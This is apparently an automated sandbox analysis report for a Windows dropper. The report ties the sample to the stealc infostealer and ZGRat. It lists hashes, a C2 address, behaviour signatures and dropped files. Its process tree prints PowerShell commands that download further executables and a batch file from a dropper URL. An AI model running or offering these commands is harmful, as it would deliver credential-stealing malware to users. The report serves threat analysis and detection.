Analysis

  • max time kernel
    227s
  • max time network
    233s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    09-05-2024 22:58

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 13 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nso1CD5.tmp\app.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1984
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2120
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1532
        • C:\Users\Admin\AppData\Local\Temp\u16k.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u16k.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1980
        • C:\Users\Admin\AppData\Local\Temp\u16k.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u16k.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2684
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2732
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1384

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    304B

    MD5

    adb16fe69d3ad9491e541c63418e69d2

    SHA1

    eddcf2099a129803146735bbc43f9cc10e205187

    SHA256

    d1a62cec435b0fe14d3190e6c7e4b92f2967ef049e15c6a0eebc914e5edc7266

    SHA512

    30e25513be0b78c3f7ed3cd737972363332e16917ff2607130f7186eec5a70569ce399cac93ebca63917a472c2d2ce086af763fc7ebe23b4ce2dea1638f2bb92

  • C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\049b7335d372bd07248452d0b58e37cfb8420ac5b148b226adcb19ae95655a7b\6f5a49626d1749cea10c9963cdf03d79.tmp

    Filesize

    1KB

    MD5

    95d3d4fc9cbe5bfd9eb4da6f441fb322

    SHA1

    67a06571c9f956fb96baf79c0a3129651ce13714

    SHA256

    6124edfa1e236fe5110777064c0ef0e6608a15cf2aaa25f3dc09483501b75e74

    SHA512

    7e4e17a44f524e644515181235f9dc0ab33a3360e8d14cd3f8248ad13b663f8374838d93c30d0dd70f5a358a0c5db0db9768527dc83e49c32c5b30d50856fdc5

  • C:\Users\Admin\AppData\Local\Temp\Tar574D.tmp

    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    384KB

    MD5

    0f39626443b9a5ecbdac24c96e12728a

    SHA1

    04c402e550534f0871471f5b80fc5723f283f25c

    SHA256

    fab860ca07692e3f3f2c438a9faf142288fdbcbb43edf24e8b3b88683a529477

    SHA512

    9b74eea35b9ed7ea5e286ec29a676407f72a63c3d90c22616d73d0626a0cf656d9e1aaafd8c07021c38c8bf9cc75cd1a6b6ca4f7198f07c8794aad1d4bf618e6

  • C:\Users\Admin\AppData\Local\Temp\nso1CD5.tmp\app.bat

    Filesize

    735B

    MD5

    f32d05160acf8325e9a09f09f80d16f4

    SHA1

    46e159b71e6ef99076c4002e1fda134e1d0a86c9

    SHA256

    da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

    SHA512

    147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

  • C:\Users\Admin\AppData\Local\Temp\u16k.1.exe

    Filesize

    1.9MB

    MD5

    a1d098ea468c9cb1ffcea9f9356a713d

    SHA1

    4d823cb7927b6ff059197871e70287b90e3003e7

    SHA256

    3deb805191106a5b9545b00589bfb7d21db8ba510dc64faaa0dc400096d343df

    SHA512

    27f79b13ccbf6fcfb0591e402de557af164d45a0e5d0186e06ebcb8e6fafaca0b38c17e987344bf3052b1ca1f69020a44c0585abe04442c55eed1d3aa7b0ea51

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    cfee53ba239a7bc46bd8ac64f2736fe1

    SHA1

    342a13f7a606ab47f89d800f47ab881e039b6908

    SHA256

    8d5ab6090a5ff037401652b2251cbbb9052d7364dd4e8b23d2b571ba3f7a2cfc

    SHA512

    77f9f715e329d408e143580590e9f5d0d0f41f4373807194a6c03057ae3d24edc71e2fc0ab6932685371b49551989cc29e15dcecf41ac482b0e7b866886e65e6

  • \ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\nso1CD5.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • \Users\Admin\AppData\Local\Temp\u16k.0.exe

    Filesize

    206KB

    MD5

    0917be53327ea132956255dcab650a82

    SHA1

    b60818917f645a8a9af3b530e3ae37c1f002be2f

    SHA256

    211c34660898480e0777c6ef6f61bf2111f6550e00b40cab859543d567dc455a

    SHA512

    a72acc24ba813d983bbf2ecab7929d0aab4e25637ae43e85b973a5105429bd15c061415fd855737620caaf81b456b2d6ba57f85566245efbe5f8b5db5560932a

  • \Users\Admin\AppData\Local\Temp\u16k.1.exe

    Filesize

    2.8MB

    MD5

    74e52168f2ae714da4a52c75e78effcc

    SHA1

    97636f0e3c47a714a9553924428015584c985ed9

    SHA256

    f59e0e9ef3491fdbb3b50fa47bba17d6cb54613851c436a27fa417dbcaf3b0f7

    SHA512

    5d4a160b390c6cbf909bec1f8f39ba8d17ea3965ce11aaf20e232828c11e77cc0fe5413a37dd09e3ccd09c25fbe241df67b409ed36056f446b8e179a6e2f5726

  • \Users\Admin\AppData\Local\Temp\u16k.1.exe

    Filesize

    1.9MB

    MD5

    4ede78f1a27455b9ccaa5dba3595bd10

    SHA1

    251f5301b48ed47ad14b500a9f9f2aea6bff15a9

    SHA256

    67e8c22ca21c271b958c70d3e9ec92f3b00762121618a5703ea0bf804c3b85f1

    SHA512

    83b560883979a31030d8b8f1ba7c4871ffdf2951f620c2282e39f05cc4ff938db0e5a2004f2d444b67f9329dfe90a97061034a06b2c2f6dfe225ef1c55b7d10f

  • \Users\Admin\AppData\Local\Temp\u16k.1.exe

    Filesize

    2.1MB

    MD5

    0ef4e27e914de46c682cd3d6f564d1cf

    SHA1

    aa00eb2e895a80e1e5881d1b4618c844858ecb21

    SHA256

    c7be7abeb3504d7eb53fa89e99029bea1e715fa4b3964ac0c54a298af5781f75

    SHA512

    a6c94949b67dc653fefd6e9b9726307c18e91ced8aa82be950561383b75c5823d5241a65d68157a7249ea34923148b0b1f877d5137e3dc44bbe076fb920b63f9

  • memory/1532-245-0x0000000000400000-0x0000000002B1E000-memory.dmp

    Filesize

    39.1MB

  • memory/1980-205-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/1980-340-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/1980-308-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/1984-151-0x00000000003E0000-0x0000000000420000-memory.dmp

    Filesize

    256KB

  • memory/2684-307-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/2732-309-0x0000000000B40000-0x0000000004374000-memory.dmp

    Filesize

    56.2MB

  • memory/2732-314-0x0000000005B80000-0x0000000005BA4000-memory.dmp

    Filesize

    144KB

  • memory/2732-318-0x000000001EF50000-0x000000001F002000-memory.dmp

    Filesize

    712KB

  • memory/2732-317-0x000000001E080000-0x000000001E0AA000-memory.dmp

    Filesize

    168KB

  • memory/2732-316-0x000000001E060000-0x000000001E06A000-memory.dmp

    Filesize

    40KB

  • memory/2732-311-0x0000000000550000-0x0000000000560000-memory.dmp

    Filesize

    64KB

  • memory/2732-310-0x000000001F140000-0x000000001F24A000-memory.dmp

    Filesize

    1.0MB

  • memory/2732-319-0x0000000000460000-0x000000000046A000-memory.dmp

    Filesize

    40KB

  • memory/2732-323-0x000000001FDA0000-0x00000000200A0000-memory.dmp

    Filesize

    3.0MB

  • memory/2732-325-0x0000000000490000-0x000000000049A000-memory.dmp

    Filesize

    40KB

  • memory/2732-328-0x0000000005930000-0x0000000005952000-memory.dmp

    Filesize

    136KB

  • memory/2732-327-0x000000001E1E0000-0x000000001E242000-memory.dmp

    Filesize

    392KB

  • memory/2732-326-0x0000000000B30000-0x0000000000B3A000-memory.dmp

    Filesize

    40KB

  • memory/2732-331-0x000000001E070000-0x000000001E07C000-memory.dmp

    Filesize

    48KB

  • memory/2732-313-0x0000000000560000-0x0000000000574000-memory.dmp

    Filesize

    80KB

  • memory/2732-341-0x0000000000490000-0x000000000049A000-memory.dmp

    Filesize

    40KB

  • memory/2732-312-0x0000000005860000-0x000000000586C000-memory.dmp

    Filesize

    48KB